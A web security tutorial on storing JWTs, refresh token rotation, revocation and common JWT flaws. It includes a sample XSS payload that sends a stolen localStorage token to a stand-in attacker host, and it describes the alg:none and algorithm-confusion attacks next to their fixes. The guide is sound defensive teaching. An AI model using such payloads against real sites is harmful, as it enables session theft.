The JWT Debate Is About Context
"Should I store JWTs in localStorage or httpOnly cookies?" is one of the most debated questions in web security. The frustrating answer: it depends on your threat model, and both choices have real tradeoffs.
This guide doesn't just give you the "right answer" — it explains the actual security implications so you can make an informed decision for your specific application.
JWT Structure Refresher
A JWT has three base64url-encoded parts separated by dots:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. ← Header
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFsaWNlIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MDAwMDAwMDAsImV4cCI6MTcwMDAwMzYwMH0. ← Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ← Signature
Decoded payload:
{
"sub": "1234567890",
"name": "Alice",
"role": "user",
"iat": 1700000000,
"exp": 1700003600
}
Key properties:
- Self-contained: the server doesn't need to query a database to verify a JWT
- Not encrypted by default: the payload is base64url-encoded, not encrypted (use JWE if you need encryption)
- Stateless: enables horizontal scaling without session stores
- Cannot be invalidated before expiry (unless you add a denylist)
Token Storage: The Real Tradeoffs
localStorage / sessionStorage
// Storing JWT in localStorage
localStorage.setItem('accessToken', jwt)
// Sending in requests
fetch('/api/data', {
headers: { Authorization: `Bearer ${localStorage.getItem('accessToken')}` }
})
Vulnerability: XSS attacks can read localStorage. Any injected script can steal the token:
// What an attacker's XSS payload does:
const token = localStorage.getItem('accessToken')
fetch('https://attacker.com/steal?t=' + token)
When it's acceptable:
- You have very strong XSS prevention (strict CSP, no user-generated HTML, no third-party scripts)
- The token's value is low (accessing non-sensitive public data)
- You're building a native mobile app (no XSS risk, localStorage equivalent is fine)
httpOnly Cookies
// Server sets httpOnly cookie — JavaScript cannot access this
res.cookie('accessToken', jwt, {
httpOnly: true, // ← JavaScript cannot read this
secure: true, // ← HTTPS only
sameSite: 'strict', // ← CSRF protection
maxAge: 15 * 60 * 1000, // 15 minutes
path: '/api', // Only sent for /api/* requests
})
Advantages: XSS cannot steal the token (JavaScript can't read httpOnly cookies)
Vulnerability: CSRF attacks. The cookie is automatically sent with cross-site requests.
CSRF mitigation for httpOnly cookies:
- Use
SameSite=StrictorSameSite=Lax(covers most CSRF scenarios) - For the remaining gaps, add CSRF tokens
// Double-submit cookie pattern for CSRF protection:
// 1. Set a second non-httpOnly CSRF cookie
res.cookie('csrfToken', csrfValue, {
httpOnly: false, // JavaScript CAN read this
secure: true,
sameSite: 'strict',
})
// 2. Client sends it as a header too
fetch('/api/transfer', {
method: 'POST',
headers: { 'X-CSRF-Token': getCookie('csrfToken') },
credentials: 'include', // Send cookies
})
// 3. Server validates both match
if (req.cookies.csrfToken !== req.headers['x-csrf-token']) {
return res.status(403).json({ error: 'CSRF validation failed' })
}
Recommendation for most applications: httpOnly cookies + SameSite=Strict.
Access + Refresh Token Pattern
Short-lived access tokens + long-lived refresh tokens is the industry standard for session management:
Access Token: 15 minutes lifespan → used for API calls
Refresh Token: 30 days lifespan → used only to get new access tokens
// Login: issue both tokens
app.post('/auth/login', async (req, res) => {
const { email, password } = req.body
const user = await authenticateUser(email, password)
if (!user) return res.status(401).json({ error: 'Invalid credentials' })
const accessToken = generateAccessToken(user) // 15min JWT
const refreshToken = generateRefreshToken(user) // 30 days, opaque token
// Store refresh token in database (for rotation/revocation)
await db.refreshTokens.create({
token: hashToken(refreshToken), // Store hash, not plaintext
userId: user.id,
expiresAt: new Date(Date.now() + 30 * 24 * 60 * 60 * 1000),
family: generateTokenFamily(), // For detecting token reuse
})
// Access token in memory (JavaScript) or httpOnly cookie
res.cookie('refreshToken', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 30 * 24 * 60 * 60 * 1000,
path: '/auth/refresh', // Only sent to refresh endpoint
})
res.json({ accessToken, user: { id: user.id, name: user.name } })
})
Refresh Token Rotation
// /auth/refresh — get a new access token
app.post('/auth/refresh', async (req, res) => {
const refreshToken = req.cookies.refreshToken
if (!refreshToken) return res.status(401).json({ error: 'No refresh token' })
// Verify the token is in our database
const storedToken = await db.refreshTokens.findByHash(hashToken(refreshToken))
if (!storedToken || storedToken.expiresAt < new Date()) {
// Invalid or expired — clear cookie
res.clearCookie('refreshToken')
return res.status(401).json({ error: 'Invalid refresh token' })
}
// CRITICAL: Check for token reuse (possible theft detected)
if (storedToken.used) {
// Someone is using a previously-used refresh token!
// This means either:
// 1. Attacker stole the old token and used it after rotation
// 2. Network retry (less concerning)
// Invalidate entire token family (log out all sessions for this user)
await db.refreshTokens.revokeFamily(storedToken.family)
res.clearCookie('refreshToken')
return res.status(401).json({ error: 'Token reuse detected. Please log in again.' })
}
// Mark old token as used
await db.refreshTokens.markUsed(storedToken.id)
// Issue new tokens (rotation)
const user = await db.users.findById(storedToken.userId)
const newAccessToken = generateAccessToken(user)
const newRefreshToken = generateRefreshToken(user)
await db.refreshTokens.create({
token: hashToken(newRefreshToken),
userId: user.id,
family: storedToken.family, // Same family as old token
expiresAt: new Date(Date.now() + 30 * 24 * 60 * 60 * 1000),
})
res.cookie('refreshToken', newRefreshToken, {
httpOnly: true, secure: true, sameSite: 'strict',
path: '/auth/refresh',
maxAge: 30 * 24 * 60 * 60 * 1000,
})
res.json({ accessToken: newAccessToken })
})
Silent Token Refresh on the Frontend
// Axios interceptor for automatic token refresh
import axios from 'axios'
let isRefreshing = false
let refreshSubscribers: ((token: string) => void)[] = []
const api = axios.create({ baseURL: '/api' })
api.interceptors.response.use(
(response) => response,
async (error) => {
const originalRequest = error.config
if (error.response?.status === 401 && !originalRequest._retry) {
if (isRefreshing) {
// Already refreshing — wait for new token
return new Promise((resolve) => {
refreshSubscribers.push((token) => {
originalRequest.headers.Authorization = `Bearer ${token}`
resolve(api(originalRequest))
})
})
}
originalRequest._retry = true
isRefreshing = true
try {
const { data } = await axios.post('/auth/refresh', {}, { withCredentials: true })
const newToken = data.accessToken
// Notify queued requests
refreshSubscribers.forEach(cb => cb(newToken))
refreshSubscribers = []
originalRequest.headers.Authorization = `Bearer ${newToken}`
return api(originalRequest)
} catch {
// Refresh failed — redirect to login
window.location.href = '/login'
return Promise.reject(error)
} finally {
isRefreshing = false
}
}
return Promise.reject(error)
}
)
Common JWT Vulnerabilities
1. None algorithm attack:
// Vulnerable server:
const decoded = jwt.decode(token, { algorithms: ['HS256', 'none'] })
// Attacker sends token with header: { "alg": "none" } — no signature verification!
// Fix: Always specify exactly which algorithms to accept:
jwt.verify(token, secret, { algorithms: ['HS256'] })
2. Symmetric vs asymmetric confusion:
// If server uses RS256 (RSA), public key is known
// Attacker tricks vulnerable server into using HS256 with public key as secret
// Fix: Explicitly specify algorithm:
jwt.verify(token, publicKey, { algorithms: ['RS256'] }) // Never 'HS256' for RSA
3. Weak secrets:
// ❌ Weak secret — brute-forceable offline
const secret = 'secret'
// ✅ Cryptographically random, ≥32 bytes
import crypto from 'crypto'
const secret = process.env.JWT_SECRET // Must be: crypto.randomBytes(32).toString('hex')
// Generate once: node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"
4. Missing expiration:
// ❌ No expiration — valid forever
jwt.sign({ userId: 1 }, secret)
// ✅ Always set expiration
jwt.sign({ userId: 1 }, secret, { expiresIn: '15m' })
5. Sensitive data in payload:
// ❌ Never put sensitive data in JWT — it's base64-encoded, not encrypted
jwt.sign({
userId: 1,
password: 'hashed', // Don't include
creditCard: '4111...', // Never!
ssn: '123-45-6789', // Absolutely not
}, secret)
// ✅ Only include what's needed for authorization
jwt.sign({
sub: '1234567890',
role: 'user',
iat: Math.floor(Date.now() / 1000),
}, secret, { expiresIn: '15m' })
Logout and Token Revocation
JWTs can't be "deleted" — they're valid until they expire. Solutions:
// 1. Short-lived access tokens (15 min) — expire naturally
// Just clear the refresh token on logout
// 2. Token denylist for immediate revocation
const redis = createClient()
// On logout:
app.post('/auth/logout', authenticate, async (req, res) => {
const token = extractToken(req.headers.authorization)
const decoded = jwt.decode(token) as JwtPayload
// Add token ID to denylist until its natural expiry
const ttl = decoded.exp! - Math.floor(Date.now() / 1000)
await redis.setEx(`revoked:${decoded.jti}`, ttl, '1')
// Clear refresh token
res.clearCookie('refreshToken')
res.json({ message: 'Logged out' })
})
// In auth middleware:
async function verifyToken(token: string) {
const decoded = jwt.verify(token, secret) as JwtPayload
// Check denylist
const isRevoked = await redis.exists(`revoked:${decoded.jti}`)
if (isRevoked) throw new Error('Token revoked')
return decoded
}
The access + refresh token pattern with httpOnly cookies and refresh token rotation covers 95% of production use cases securely. For the remaining 5% (native apps, complex multi-tenant scenarios), understand the tradeoffs and implement accordingly.
→ Decode and inspect JWT tokens with the JWT Parser tool.